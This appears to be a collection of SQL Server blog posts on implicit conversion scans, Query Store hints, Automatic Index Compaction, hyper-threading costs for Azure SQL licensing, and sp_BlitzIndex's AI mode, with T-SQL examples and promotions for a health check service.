CONVERT_IMPLICIT: Why SQL Server Is Ignoring Your Index

You built the index and tested the query in SSMS. Index seek. Perfect. You went home.

Meanwhile, your app has been scanning every row in that table since the day it launched.

This is CONVERT_IMPLICIT — one of the most hidden performance killers in SQL Server. No errors. No warnings in the application log. The query returns correct results and your index is structurally fine, but the optimizer can't use it, because the data type coming from the app doesn't match the data type on the column — and SQL Server has to convert every single row before it can compare.

Here's how to find it, understand it, and prove it to the developer who keeps telling you 'it works fine on my machine'.

Why This Happens

The most common scenario: your table has a VARCHAR column and your app is written in C# (or Java, or anything using ADO.NET). By default, ADO.NET maps a .NET string to NVARCHAR when building a parameterized query, so the parameter that arrives at SQL Server is typed as NVARCHAR, not VARCHAR.

SQL Server has a concept called data type precedence. When two types are compared, the lower-precedence type gets converted to match the higher. NVARCHAR outranks VARCHAR, and because your column is VARCHAR, it's the lower-precedence side. This makes SQL Server convert the column, not the parameter, which means every row in the table gets converted before SQL Server can evaluate the predicate. The index seek is gone and you have a scan.

You can see this for yourself in the plan cache. If your query plans contain CONVERT_IMPLICIT in the XML, you have the problem.

The Demo

Set up a test table with a VARCHAR column and a nonclustered index on it:

CREATE TABLE dbo.AccountTest (
    AccountID   INT          IDENTITY(1,1) PRIMARY KEY,
    AccountCode VARCHAR(20)  NOT NULL
);

CREATE NONCLUSTERED INDEX IX_AccountTest_Code
    ON dbo.AccountTest (AccountCode);

INSERT INTO dbo.AccountTest (AccountCode)
VALUES ('ACC001'), ('ACC002'), ('ACC003'),
       ('ACC004'), ('ACC005');

Seeing the Numbers

Five rows won't show you much, so you need to load the table with enough data to make the difference visible:

INSERT INTO dbo.AccountTest (AccountCode)
SELECT TOP (100000)
    'ACC' + RIGHT('000000' + CAST(ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) AS VARCHAR(6)), 6)
FROM sys.all_columns a
CROSS JOIN sys.all_columns b;

Now run both of these SELECT queries with SET STATISTICS IO ON:

SET STATISTICS IO ON;
-- Query 1: NVARCHAR (scan)
DECLARE @CodeN NVARCHAR(20) = N'ACC050000';
SELECT AccountID, AccountCode
FROM dbo.AccountTest
WHERE AccountCode = @CodeN;
SET STATISTICS IO OFF;

And then...

SET STATISTICS IO ON;
-- Query 2: VARCHAR (seek)
DECLARE @CodeV VARCHAR(20) = 'ACC050000';
SELECT AccountID, AccountCode
FROM dbo.AccountTest
WHERE AccountCode = @CodeV;
SET STATISTICS IO OFF;

The Messages tab from both calls is under each image. You can see the NVARCHAR scan comes back at 287 logical reads and the VARCHAR seek comes back at 2. Same table, same index, same query. One row returned. That's a 143x difference in reads from a single character in the variable declaration.

The SSMS Trap

This is why the problem hides so well. When you test in SSMS, you type a literal or declare a local variable, and both are VARCHAR. The result is a seek rather than a scan. You confirm the index is fine and move on. The application sends NVARCHAR every time, so it scans every time — and you never see it unless you check the plan cache or Query Store after someone complains about application performance.

The query results are correct and the data types are compatible for comparison purposes. SQL Server just has to do extra work to get there. This is what makes it dangerous: it doesn't break anything except your server's CPU and I/O budget.

How to Find These in Production

Query the plan cache for CONVERT_IMPLICIT in the plan XML. This is a fast way to surface every offending query in a given database:

SELECT TOP 50
    DB_NAME(t.dbid)                                         AS DatabaseName,
    t.text                                                  AS QueryText,
    qs.total_logical_reads / qs.execution_count             AS AvgLogicalReads,
    qs.total_worker_time / qs.execution_count               AS AvgCPU_ms,
    qs.execution_count                                      AS ExecutionCount,
    qp.query_plan                                           AS QueryPlan
FROM sys.dm_exec_query_stats AS qs WITH (NOLOCK)
CROSS APPLY sys.dm_exec_sql_text(qs.plan_handle)  AS t
CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) AS qp
WHERE CAST(qp.query_plan AS NVARCHAR(MAX)) LIKE '%CONVERT_IMPLICIT%'
  AND t.dbid = DB_ID()
ORDER BY qs.total_logical_reads DESC
OPTION (RECOMPILE);

Sort by AvgLogicalReads and start at the top. The QueryPlan column returns a clickable XML link in SSMS — click it to open the graphical plan and see exactly where the conversion is happening and what it's doing to your operator costs.

If Query Store is enabled (SQL Server 2016+), you can also query it for high-read queries and then inspect their plans for the CONVERT_IMPLICIT warning. Query Store has the advantage of surviving restarts, so you're not limited to what's currently in the plan cache.

SQL Server 2012 and later also expose a dedicated Extended Events signal: sqlserver.plan_affecting_convert. It fires every time a conversion in a plan prevents a seek, which lets you catch these proactively rather than having to look for them later in the plan cache.

The Fix

The correct fix is to match the data types. It really is that simple, but there are three sides to the story:

Option 1: Fix it in the application

This is the right answer long-term. Ensure the app sends VARCHAR parameters when the column is VARCHAR. In ADO.NET, that means setting SqlDbType.VarChar explicitly on the SqlParameter object rather than relying on automatic type inference. This is a code change, which means a developer conversation — bring your plan cache query output and the logical reads numbers. Numbers close arguments faster than principles.

Option 2: Change the column to NVARCHAR

If the application can't be changed, making the column NVARCHAR eliminates the mismatch. Be aware: NVARCHAR doubles the storage size per character compared to VARCHAR. On large tables that means a larger index, more buffer pool pressure, and potentially a maintenance window to rebuild the index after the alter. Run the math on row count and column width before committing to this path.

Option 3: Explicit conversion in the query

You can convert the parameter side explicitly — ie., WHERE AccountCode = CONVERT(VARCHAR(20), @CodeN). This puts the conversion cost on the single parameter value instead of on every row in the table, which restores the seek. It's a valid workaround when the fix belongs in a stored procedure and the app or schema can't be changed immediately. It does have overhead and it is not a permanent solution.

The Collation Wrinkle

Not every CONVERT_IMPLICIT between VARCHAR and NVARCHAR kills a seek. Whether it does depends on the collation of the database:

Column Type	Collation Type	Result
NVARCHAR	Any	No problem — seek still works
VARCHAR	Windows (ie., Latin1_General_CI_AS)	Seek still possible, minor conversion overhead
VARCHAR	SQL Server (ie., SQL_Latin1_General_CP1_CI_AS)	Seek lost — full index scan, plan warning

Most databases default to SQL_Latin1_General_CP1_CI_AS, which is the default server-level collation for SQL Server. That's the worst-case scenario. If your shop uses Windows collations, you may have a narrower blast radius — but the conversion overhead is still there, and the right answer always is to match your data types. Do not force the conversion on SQL Server.

The Bottom Line

Your index didn't fail you. The data type did. A single character difference between VARCHAR and NVARCHAR — one that SQL Server silently compensates for on every row and every execution — can be the difference between an index seek and a full table scan on a million-row table. It doesn't throw an error. It doesn't show up in the application log. It just quietly burns CPU and I/O for as long as the app is running.

Run the plan cache query above on your busiest database today. Sort by reads. See what's hiding in there.

If you're seeing this on a production system and want a full picture of what's driving your CPU and I/O load, that's exactly the kind of thing a SQL Server Health Check is designed to surface. Reach out. I can help.

More to Read:

Impact on Indexes When Mixing VARCHAR and NVARCHAR Types — Solomon Rutzky, SQL Quantum Leap
Performance Degradation Due to Implicit Conversion — Microsoft Tech Community
Implicit Conversions that Cause Index Scans — Jonathan Kehayias, SQLskills
Troubleshooting SQL Index Performance on VARCHAR Columns — Jimmy Bogard, Los Techies
Are VARCHAR or CHAR Hurting Your Performance Due to Implicit Conversions? — SQLGrease

Query Store Hints: Code-Free Performance Tuning

That query is killing your server. You know which one. You found the plan with sp_BlitzCache a couple weeks ago and spit out your coffee. But, it belongs to a vendor application and you cannot touch it.

Your SQL Server doesn't care about any of that.

And, you do have an option. SQL Server 2022 and later, you can 'fix' the query without touching it. No code changes. No procedure rewrites. No begging the business rep to contact the vendor. You just inject a hint using Query Store and the next execution performs much better. That's Query Store hints — and if you're not using them, you've left a very powerful DBA tool just sitting on the shelf.

This is Code-Free Performance Tuning.

Query Store: The Flight Data Recorder

If you read my PSP Optimization post, you already know that Query Store is the foundation under all of SQL Server's modern Intelligent Query Processing features. Think of it like the flight data recorder for your database — it captures query text, execution plans, and runtime statistics across every execution and it survives a restart. Unlike DMVs, which vanish on restart, Query Store remembers. That history is what makes hints possible — and you don't have to setup something new to perform diagnostics before you can use it. How cool is that? 😆

Query Store is on by default in SQL Server 2022. v2019 or earlier, turn it on with this:

ALTER DATABASE YourDatabase
SET QUERY_STORE = ON (
    OPERATION_MODE = READ_WRITE,
    MAX_STORAGE_SIZE_MB = 1024
);

What a Query Store Hint Actually Does

You pick a hint — MAXDOP, RECOMPILE, a join strategy, etc. You attach it to a specific query_id in Query Store. SQL Server intercepts the query at execution time and injects the hint before the optimizer sees it. The application sends the same T-SQL it always has, but the optimizer now processes it differently.

Step 1: Find the Query ID

Everything starts with the query_id. Query Store already assigned one to every query that's touched your database. Run this to find your worst offenders:

-- Top 20 queries by average logical reads in Query Store
SELECT TOP 20
    qsqt.query_sql_text,
    qsq.query_id,
    qsrs.avg_logical_io_reads,
    qsrs.avg_duration / 1000.0  AS avg_duration_ms,
    qsrs.count_executions,
    qsp.plan_id
FROM sys.query_store_query_text qsqt JOIN sys.query_store_query qsq
  ON qsqt.query_text_id = qsq.query_text_id JOIN sys.query_store_plan qsp
    ON qsq.query_id = qsp.query_id JOIN sys.query_store_runtime_stats qsrs
      ON qsp.plan_id = qsrs.plan_id
ORDER BY qsrs.avg_logical_io_reads DESC;

Write down the query_id. That's your target.

Step 2: Inject the Hint

The system procedure is sys.sp_query_store_set_hints. Pass the query_id and whatever hint you'd normally write in an OPTION clause:

-- Query hammering CPU with bad parallelism? Cap it.
EXEC sys.sp_query_store_set_hints
    @query_id    = 1234,
    @query_hints = N'OPTION (MAXDOP 1)';

-- Bad cached plan? Force a recompile every time. Use carefully.
EXEC sys.sp_query_store_set_hints
    @query_id    = 1234,
    @query_hints = N'OPTION (RECOMPILE)';

-- Optimizer keeps choosing nested loops. Make it stop.
EXEC sys.sp_query_store_set_hints
    @query_id    = 1234,
    @query_hints = N'OPTION (HASH JOIN)';

-- Stack them.
EXEC sys.sp_query_store_set_hints
    @query_id    = 1234,
    @query_hints = N'OPTION (MAXDOP 4, HASH JOIN)';

Done. No code change. No restart. No cache flush. The hint fires on the next call.

Verify It Applied

SELECT
    query_hint_id,
    query_id,
    query_hint_text,
    last_query_hint_failure_reason_desc,
    is_enabled_by_system
FROM sys.query_store_query_hints
WHERE query_id = 1234;

Check last_query_hint_failure_reason_desc. If it's not NO_FAILURE, the hint didn't apply — and that column tells you exactly why. No guessing.

Remove It When You're Done

The vendor shipped a fix and the underlying problem is gone. Pull the hint:

EXEC sys.sp_query_store_clear_hints
    @query_id = 1234;

Why This Buries Plan Guides

Plan Guides have been around since SQL Server 2005 and allow you to optimize queries when you cannot change the code - but the implementation is hellish. A Plan Guide requires an exact text match: whitespace, parameter declarations, the sp_executesql wrapper, all of it. One extra space and the guide silently does nothing. You won't know. It just won't work.

Query Store Hints match on query_id. That's it. No text matching. Failures surface in a DMV instead of disappearing into the void.

	Plan Guides	Query Store Hints
Matching method	Exact T-SQL text match	query_id — no text matching
Silent failures	Yes — whitespace breaks them	No — failure reason surfaced in DMV
SSMS visibility	sys.plan_guides only	Integrated into QS interface
Minimum version	SQL Server 2005	SQL Server 2022

The Per-Query Compatibility Level Trick

This one is underused and underappreciated. You can use a Query Store hint to force a specific database compatibility level for a SINGLE query while leaving everything else at the current level. That means you could upgrade a database to a newer compatibility level for the new features and keep one query pinned an older CL until you sort out why it always goes sideways.

-- Force compat level 150 for one query while the DB runs at 160
EXEC sys.sp_query_store_set_hints
    @query_id    = 1234,
    @query_hints = N'OPTION (USE HINT (''QUERY_OPTIMIZER_COMPATIBILITY_LEVEL_150''))';

If you've ever delayed a compatibility level upgrade because some queries went south with the new CL, this is your exit ramp. Pin the problem query and upgrade the database CL. Fix it later when your schedule allows.

SQL Server 2025: The Nuclear Option

Query Store hints were introduced in SQL Server 2022 but were significantly extended in SQL Server 2025. Using ABORT_QUERY_EXECUTION, the query tries to run. SQL Server kills it. The caller gets an error. That's it.

-- Block a query from executing entirely. SQL Server 2025+.
EXEC sys.sp_query_store_set_hints
    @query_id    = 1234,
    @query_hints = N'OPTION (USE HINT (''ABORT_QUERY_EXECUTION''))';

The caller gets:

Msg 8778, Level 16, State 1
Query execution has been aborted because the ABORT_QUERY_EXECUTION hint was specified.

Think about what that means. A report doing a full scan of a 500GB table every time someone hits a button, or a runaway ETL query that drags your server to its knees every Monday at 9AM. You can block it right now, in 30 seconds, without touching the application ...and now you've got time to have another discusion with whomever owns that code.

To unblock:

EXEC sys.sp_query_store_clear_hints @query_id = 1234;

SQL Server 2025: Hints on Secondary Replicas

Before SQL Server 2025, Query Store hints could only target the primary replicas. In SQL Server 2025 we can now use hints with your readable secondary replicas, completely removed from the primary.

-- Find your replica group ID first
SELECT * FROM sys.query_store_replicas;

-- Apply the hint only on that secondary
EXEC sys.sp_query_store_set_hints
    @query_id         = 1234,
    @query_hints      = N'OPTION (MAXDOP 2)',
    @replica_group_id = 1;  -- from sys.query_store_replicas

Maybe you've got all reporting going to your secondary but it's behaving differently than primary. Different statistics or data distribution? Now you can tune your secondary separately without touching the primary.

The Query Hint Recommendation Tool in SSMS v22

SSMS v22 ships with a Query Hint Recommendation tool that tests different hint combinations against your query and tells you which ones actually help. Brent Ozar put it through the wringer and the results were genuinely useful — but it does run the query multiple times and has a performance overhead of 3-5%. Don't point it at production at the wrong time of day.

One catch: it's not installed by default. Open the Visual Studio Installer, select Modify on your SSMS 22 installation, go to the Code Tools workload, and check 'Query Hint Recommendation Tool'. Once installed, you'll find it under Tools → Query Hint Recommendation Tool in SSMS. Highlight a SELECT query, click Start, and it runs it repeatedly with different hint combinations. Definitely worth installing, but remember, it will be executing your query multiple times. You want to be smart about when you run it.

The Bottom Line

Query Store hints are not a workaround. They're a legit, production-grade mechanism for fixing execution plans on code you don't own and cannot modify. Vendor apps, 3rd party pieces, Reporting tools — Find thequery_id. Apply the hint. All done.

If you think your Query Store hints are being ignored or not working, or you need some help identifying what is killing your server, call me. Let's consider a SQL Server Health Check.

More to Read:

SQL Server 2022's Parameter Sensitive Plan Optimization — sqlfingers.com
Query Store Hints — Microsoft Learn
Query Store Hints Best Practices — Microsoft Learn
SSMS v22 Query Hint Recommendation Tool — Brent Ozar

Your Nightly Index Rebuild Job May Be On Its Way Out

Microsoft's announcement of Automatic Index Compaction is titled 'Stop defragmenting and start living'. That is not an accident. Brent Ozar has been making the case for years that defragmenting indexes is largely maintenance theater — that external fragmentation barely matters on modern SSDs and shared storage and that nightly rebuild jobs hammer your transaction log and I/O for gains that are difficult to measure.

His sessions on the topic have been circulating for over a decade, and now Microsoft's own documentation states it plainly: 'For most workloads, a higher index fragmentation doesn't affect query performance or resource consumption.' I believe that may be Brent's argument almost verbatim in their official docs.

What Microsoft is shipping instead is Automatic Index Compaction — a continuous, low-overhead background process that keeps page density high as your data changes, without a scheduled job, without a maintenance window, and without the collateral damage of a full rebuild. Here is what it actually is, how it works, and what the honest limitations are.

What It Does

Index bloat happens because pages get partially empty as data changes — deletes leave gaps, updates move rows, and over time you're reading twice the pages for the same data. Automatic Index Compaction attacks that continuously in the background. It piggybacks on the PVS cleaner — or the persistent version store, which is the same process that removes obsolete row versions after DML. As it visits recently modified pages, it checks whether rows from the pages can be consolidated onto the current page. If that move frees at least one full page, it makes the move and deallocates the empty page. Fewer pages, higher page density, less I/O to read the same data.

The critical distinction from REORGANIZE and REBUILD is the scope. REORGANIZE and REBUILD process every page in an index. Automatic compaction only touches pages that have been recently modified. That is what makes the overhead minimal rather than punishing.

How to Enable It

One command, per database, no restart required. Compaction starts or stops within minutes:

-- Enable
ALTER DATABASE [YourDatabase]
SET AUTOMATIC_INDEX_COMPACTION = ON;

-- Disable
ALTER DATABASE [YourDatabase]
SET AUTOMATIC_INDEX_COMPACTION = OFF;

How It Compares to What You're Already Doing

Consideration	REORGANIZE / REBUILD	Auto Compaction
Scope	All pages in the index	Recently modified pages only
Overhead	High — hammers I/O and log during maintenance window	Minimal — runs continuously in background
Reduces fragmentation	Yes	No — improves page density, not fragmentation
Updates statistics	REBUILD does; REORGANIZE does not	No
Requires scheduled job	Yes	No
Space in data files required	REBUILD needs free space equal to index size	None
Blocking risk	REBUILD can block; REORGANIZE is always online	Short-term millisecond locking only, rare

Note on fragmentation vs. page density. There are two different metrics in sys.dm_db_index_physical_stats: avg_fragmentation_in_percent and avg_page_space_used_in_percent. Compaction targets page density, not fragmentation. You may actually see fragmentation numbers go up when compaction is running. Microsoft says this is expected and, for most workloads, not a concern.

The Gotchas

It is not available for on-prem SQL Server 2025 yet.

Don't get too excited. The Microsoft Learn documentation for SQL Server 2025 index maintenance references automatic compaction as an alternative — but the feature itself currently applies only to Azure SQL Database, Azure SQL Managed Instance (with the Always-up-to-date update policy) and SQL database in Fabric. On-prem SQL Server 2025 is not in the 'Applies to' list. Watch this one. It is clearly on its way, but it is not here yet.

It maintains compactness better than it remediates bloat.

This is the limitation Jeff Moden surfaced in Brent's comment thread when the announcement dropped, and Dimitri Furman from Microsoft confirmed it. The process works on recently modified pages. If you have a badly bloated index today, compaction will improve it gradually over time as DML touches those pages — but how fast depends entirely on your workload patterns. A table with low DML activity may take a very long time to compact. If you have significant existing bloat, the guidance is to run a one-time REBUILD first to get page density up, then let auto compaction maintain it from that point forward.

Fill factor edge case.

Compaction never fills a page above the fill factor. But if DML has already pushed a page above the fill factor, compaction will not reduce it. Those pages stay as-is. For most shops running at the default fill factor of 100%, this is not a practical issue.

It does not update statistics.

If your current rebuild job is also your statistics update strategy — and in many shops it is — you will need a separate statistics update job to cover that gap. Auto compaction does not touch statistics.

Transaction log impact.

Moving rows between pages generates log writes. For write-intensive workloads, you may see an increase in log I/O and larger transaction log backups. The Microsoft FAQ says this impact is not noticeable for most workloads, but I would still be sure to monitor after enabling.

It suspends under pressure.

Compaction is deprioritized when the PVS cleaner is under load. It suspends entirely when PVS size exceeds 150 GB or when aborted transactions exceed 1,000. In those conditions, PVS cleanup takes priority and compaction stops until the backlog clears.

What it will not compact:

Not eligible
Heap tables
ROW_OVERFLOW_DATA and LOB_DATA allocation units
Columnstore compressed rowgroups
Memory-optimized tables
System tables (msdb is the sole exception)
Indexes with page locks disabled

Monitoring It

If you enable this in Azure today, the query below will give you page count, average page density, and average fragmentation across all eligible indexes — the three numbers to track before and after enabling compaction:

SELECT 
    COALESCE(OBJECT_SCHEMA_NAME(ips.object_id), '<Total>') [schema_name],
    COALESCE(OBJECT_NAME(ips.object_id), '<Total>') [object_name],
    COALESCE(i.name, '<Total>') [index_name],
    AVG(ips.avg_page_space_used_in_percent) [avg_page_density],
    AVG(ips.avg_fragmentation_in_percent) [avg_fragmentation],
    SUM(ips.page_count) [page_count]
FROM 
    sys.dm_db_index_physical_stats(DB_ID(), DEFAULT, DEFAULT, DEFAULT, 'SAMPLED') ips INNER JOIN sys.indexes AS i
      ON ips.object_id = i.object_id
      AND ips.index_id = i.index_id
WHERE 
    i.type_desc IN ('CLUSTERED', 'NONCLUSTERED', 'XML', 'SPATIAL')
    AND ips.index_level = 0
    AND ips.page_count > 0
    AND ips.alloc_unit_type_desc = 'IN_ROW_DATA'
GROUP BY 
    ROLLUP(ips.object_id, i.name, i.type_desc, ips.partition_number)
    HAVING (ips.object_id IS NULL AND i.name IS NULL)
    OR (ips.object_id IS NOT NULL AND i.name IS NOT NULL)
ORDER BY 
    IIF(ips.object_id IS NULL, 0, 1), page_count DESC;

Change 'SAMPLED' to 'DETAILED' for precise results — but be aware that DETAILED mode does a full scan, which can be timely on large databases.

The Bottom Line

What it is not, is a replacement for all index maintenance. Statistics still need to be maintained separately. Severely bloated indexes benefit from a one-time REBUILD first, and for workloads with heavy random deletes causing genuine size growth, a targeted rebuild on the worst offenders is still the right tool.

But the underlying message from Microsoft — that fragmentation percentages are less important than page density, and that nightly full-index rebuilds are often more overhead than benefit — is the same argument that has been circulating in this community for years. The feature is the engine finally making it operational rather than just philosophical.

On-prem shops: watch the Microsoft Learn docs for an update to the 'Applies to' line on the automatic compaction page. That is when the conversation gets practical for most of your environments.

More to Read:

Stop Defragmenting and Start Living: Introducing Auto Index Compaction — Microsoft Community Hub
Automatic Index Compaction (preview) — Microsoft Learn
Optimize Index Maintenance to Improve Query Performance — Microsoft Learn
Stop Worrying About SQL Server Index Fragmentation — Brent Ozar
Why Index Fragmentation Doesn't Matter — Brent Ozar

Azure Is Selling You Half a Core at Full SQL Server Price

The Azure migration pitch is convincing. Lower overhead, no hardware refresh cycles, pay for what you use. Management loves it. The CFO approved the budget. The project kicked off. And then — somewhere between the on-prem decommission and the first Azure invoice — somebody notices the SQL Server licensing line is larger than expected. Quite a bit larger.

This is not a billing error. It is a VM selection problem — and it is very easy to walk straight into if nobody flags it during the planning phase.

The Short Version

Azure VMs are sized in vCPUs — virtual CPUs. On most Azure VM series, one vCPU is one hyper-threaded logical core (hyper-threading is the common name for SMT — Simultaneous Multithreading), not one physical core. A physical core with hyper-threading enabled exposes two logical cores to the operating system. SQL Server sees both logical cores. SQL Server licensing counts both logical cores. But under any real CPU load, those two logical cores share the physical core's execution resources. You are paying for two licenses to run on what is, functionally, one core's worth of throughput.

On-premises, this distinction rarely bites you. VMware will preferentially schedule a VM's vCPUs across different physical cores rather than packing two threads onto the same core. You tend to get close to physical core performance per vCPU. Azure does not offer that guarantee. In a multi-tenant cloud environment, your VM gets the vCPUs you paid for — logical cores, fairly distributed — and that's it.

Joe Obbish documented this thoroughly last week over at Darling Data. The research is solid. Go read it. What I want to do here is translate what it means for you — and for your customers — before the migration truck shows up.

What the Numbers Actually Look Like

This is not a theoretical concern. The cost difference between VM families, expressed as effective SQL Server licensing cost per physical core, is significant enough to change a project budget.

VM Series	SMT	Monthly Cost	License / Physical Core
E16bds v5	Enabled	$5,892.56	$547.50
F16ams v7	Disabled	$5,962.64	$259.52

The monthly sticker price is nearly identical but the effective licensing cost per physical core is more than double. The workload that fits on a 16-physical-core on-prem box may need 32 vCPUs on a hyper-threaded Azure VM to deliver equal throughput — which means 32 licensed cores instead of 16. On SQL Server Enterprise Edition, that difference is not a rounding error. It is a budget conversation you do not want to have after the migration is done.

A commenter on Joe's post said it plainly: 'This seems intentional, honestly.' Whether it is or not, it doesn't change the math. What matters is that you know about it before your customer's first invoice, not after.

Why Nobody Catches This in the Planning Phase

The Azure sizing conversation usually goes like this: 'You're on a 16-core on-prem VM, so let's look at 16-vCPU Azure VMs.' The vCPU count matches. The memory looks right. The pricing seems reasonable. The migration plan gets approved. What the conversation missed was a question about whether those 16 vCPUs represent 16 physical cores or 8 physical cores with hyper-threading, and what that means for both performance and licensing.

The Azure documentation I've seen does not surface this loudly. The VM series pages describe vCPU counts, memory, and storage. The specific marketing language about 'full physical cores' only appears on the series that don't use SMT — ie., the ones where the distinction is a selling point. On the series that do use hyper-threading, there is no equivalent language flagging it. You have to know to look.

There is also a natural assumption carried over from on-prem: hyper-threading doesn't affect SQL Server licensing on physical hardware. Microsoft's own licensing guide says so. That rule applies to physical servers. Azure VMs are a different licensing surface, and the assumption does not transfer.

Joe Obbish calls it a licensing trap. That is exactly the right word for it — because it only catches you if you don't see it coming.

What to Check While Planning Your Customer's Move to Azure

First, know exactly what you're moving. How many physical cores is the current SQL Server licensed for, and what is the actual CPU usage pattern? A lightly loaded instance at 10% CPU is a different migration conversation than one at 60–70% usage.

-- Current core count and SQL Server edition
SELECT
    cpu_count                          AS logical_cpus,
    hyperthread_ratio,
    cpu_count / hyperthread_ratio      AS physical_cores,
    SERVERPROPERTY('Edition')          AS edition
FROM sys.dm_os_sys_info;

If hyperthread_ratio is 2 and cpu_count is 16, you have 8 physical cores with hyper-threading enabled. That 8-physical-core workload moved to a hyper-threaded Azure VM will need 16 vCPUs to match throughput — which is 16 licensed cores. If your current licensing is based on 8 physical cores, this has just become a licensing change, not just a migration.

Second, check average and peak CPU utilization. Moving an instance that rarely exceeds 20% CPU is much less sensitive to the hyper-threading distinction than one running hot. High utilization is exactly when hyper-threaded logical cores start delivering only 50% of physical core performance, and exactly when the licensing math hurts most.

-- Recent CPU utilization from the ring buffer (last ~256 minutes)
SELECT TOP 30
    DATEADD(ms, -1 * (ts.ms_ticks - rb.[timestamp]),  GETDATE()) AS sample_time,
    rec.value('(./Record/SchedulerMonitorEvent/SystemHealth/ProcessUtilization)[1]', 'int') AS sql_cpu_pct,
    100 - rec.value('(./Record/SchedulerMonitorEvent/SystemHealth/SystemIdle)[1]', 'int')   AS total_cpu_pct
FROM sys.dm_os_ring_buffers rb
CROSS JOIN sys.dm_os_sys_info ts
CROSS APPLY (SELECT CONVERT(xml, rb.record)) x(rec)
WHERE rb.ring_buffer_type = N'RING_BUFFER_SCHEDULER_MONITOR'
ORDER BY rb.[timestamp] DESC;

Third, before you commit to a VM series, review the docs and verify one thing: does this VM give me a full physical core per vCPU, or a hyper-threaded logical core? The answer determines how many SQL Server licenses you will need. Most Azure VM series are hyper-threaded — one physical core exposes two vCPUs, and SQL Server licenses both of them at full price. A small number of series ship without hyper-threading, where one vCPU genuinely equals one physical core. Microsoft only calls this out when it is true. The Famsv7 series explicitly says 'vCPU is mapped to a full physical core.' The Ebdsv5 says no such thing — because it doesn't apply. If the documentation does not say it, assume you are buying logical cores and license accordingly.

The Escape Routes, and Their Honest Trade-offs

There is no clean answer here. Each option has a cost:

Option	The Catch
Choose an SMT-disabled VM series	Limited families; ie., no local temp storage on Famsv7
Disable hyper-threading inside the VM	Preview feature; doesn't help on Microsoft-licensed VMs, BYOL only
Use constrained vCPU sizes	No guarantee of physical core scaling
Right-size a lightly loaded instance	No help for heavy OLTP

The takeaway is not 'Don't go to Azure.' It's 'Know what you're buying before you commit'. A 16-vCPU hyper-threaded Azure VM is a fundamentally different licensing and performance proposition than a 16-physical-core on-prem server, and the migration plan should account for that difference explicitly.

Where This Shows Up in a Health Check

When I do a SQL Server health check on an instance being considered for cloud migration, the CPU utilization profile and current licensing baseline are part of the conversation. An instance running at 65% CPU on 8 physical cores does not migrate cleanly to a hyper-threaded 16-vCPU VM and come out with the same performance and license cost. The performance will likely be lower. The license cost will likely be higher. That's a finding, not a footnote.

If you are in the middle of an Azure migration conversation right now, it's worth a quick look at the target VM spec before the project sign off. The pricing difference between a hyper-threaded VM and a physical-core VM at the same vCPU count can easily exceed $200 per physical core per month on SQL Server Enterprise. At scale, and over a three-year Azure commitment, that math becomes real very fast.

Get the VM selection right before you move. It is a much easier conversation than explaining the bill afterward.

More to Read:

Hyper-threading on Azure VMs is a SQL Licensing Trap — Joe Obbish, Darling Data
Famsv7-series Azure VMs (no SMT) — Microsoft Learn
Constrained vCPU sizes for Azure VMs — Microsoft Learn
SQL Server Health Check — sqlfingers.com

Because 'It Seems Fine' Is Not a Strategy.

Most SQL Server problems do not arrive all at once.

They build quietly, collect bad habits, and wait for the worst possible time to present themselves.

If no one has looked at your SQL Server in a while, that is not a good sign.

It usually just mean that nothing has failed loudly enough yet.

SQL Server Health Check

Brent Added AI to sp_BlitzIndex. I Had to Try It.

Six posts. That's how long it took me to go from skeptic to convinced on sp_BlitzCache + ChatGPT. If you missed that series, here's the recap: AI diagnosed two real performance problems from a single execution plan in < two minutes — and I stopped resisting AI in SQL Server. Here's the one that changed my mind.

Now Brent has opened the same door for sp_BlitzIndex. The March 2026 First Responder Kit release ships @AI support directly into sp_BlitzIndex. Point it at a table, and it comes back with prioritized index recommendations in Markdown — including the exact creation scripts and the undo scripts. I ran it. Here's what happened.

Before You Run Anything: Two Things to Check

First, if you set up sp_BlitzCache AI on the February 2026 release, you need to stop here. The March release has a breaking change where the single Blitz_AI config table has been split into two tables to support per-proc AI prompt configurations. Run Brent's migration script before installing the new version to get things up to speed.

Secondly, if you install your procs in a database other than the master db with an older compatibility level, you may see this:

Msg 102, Level 15, State 1, Procedure sp_BlitzIndex, Line 3844
Incorrect syntax near '$.message.content'.

It's not a bug in the FRK. It's a compatibility level issue. The fix is easy: install in the master database or confirm your target database is at compatibility level 150 or higher. Brent suggested this in the comments on his release post, and a commenter confirmed it resolved the error.

Two Modes. One Parameter.

Parameter	What It Does	Requires
@AI = 2	Builds the AI prompt for you to copy/paste into any AI of your choice	Any SQL Server version. No API key. Just a table name.
@AI = 1	Calls ChatGPT or Gemini directly from SQL Server and returns the advice in your result set	SQL Server 2025 or Azure SQL DB. API key configured in the Blitz_AI tables.

Start with @AI = 2. It lets you see exactly what gets sent to the AI before any data leaves your server. Once you've seen the prompt output and are comfortable with the call, @AI = 1 actually makes the AI exchange.

Step 1: @AI = 2 — Build the Prompt

The @TableName parameter is required when using sp_BlitzIndex with @AI. You cannot run it against an entire database. I'm running this against dbo.SalesOrder in my Orders database — one million rows, clustered on the primary key, light on nonclustered indexes. Good candidate for 'missing indexes'.

EXEC dbo.sp_BlitzIndex
    @DatabaseName = 'Orders',
    @SchemaName   = 'dbo',
    @TableName    = 'SalesOrder',
    @AI           = 2;

SSMS Output

We get the standard sp_BlitzIndex output with details for existing and missing indexes, column data types and foreign keys — plus a new AI Prompt value in the resultset (highlighted). This contains the full prompt that sp_BlitzIndex is passing to the AI, existing index definitions plus SQL Server's own missing index suggestions, column data types, and foreign key relationships. No row data. No query plans. Schema and index metadata only.

This is just a snippet of the AI Prompt but you can see the full output here. Copy the output, paste it into ChatGPT, Gemini, Claude — whatever you use.

What the AI Sent Back

The response came back in Markdown. What I got: a prioritized list of index recommendations with reasoning for each one, an assessment of which SQL Server-suggested missing indexes to take as-is, which to combine, and which to skip, along with the full CREATE INDEX scripts ready to run and the corresponding DROP INDEX undo scripts for every recommendation.

The undo scripts are the part I didn't expect. If you're presenting index changes to a customer, showing up with both the change and the rollback already written is the kind of thing that builds trust fast. I didn't have to write either one.

Step 2: @AI = 1 — Make the call to AI

I set this up before with sp_BlitzCache, so @AI = 1 is available to me. If you already configured API credentials for sp_BlitzCache, the same setup works here — which is a key point of the new two-table structure. One setup works for both sp_BlitzCache and sp_BlitzIndex. If you haven't set up credentials yet, my BlitzCache setup post walks through the full API key and database-scoped credential process.

EXEC dbo.sp_BlitzIndex
    @DatabaseName = 'Orders',
    @SchemaName   = 'dbo',
    @TableName    = 'SalesOrder',
    @AI           = 1;

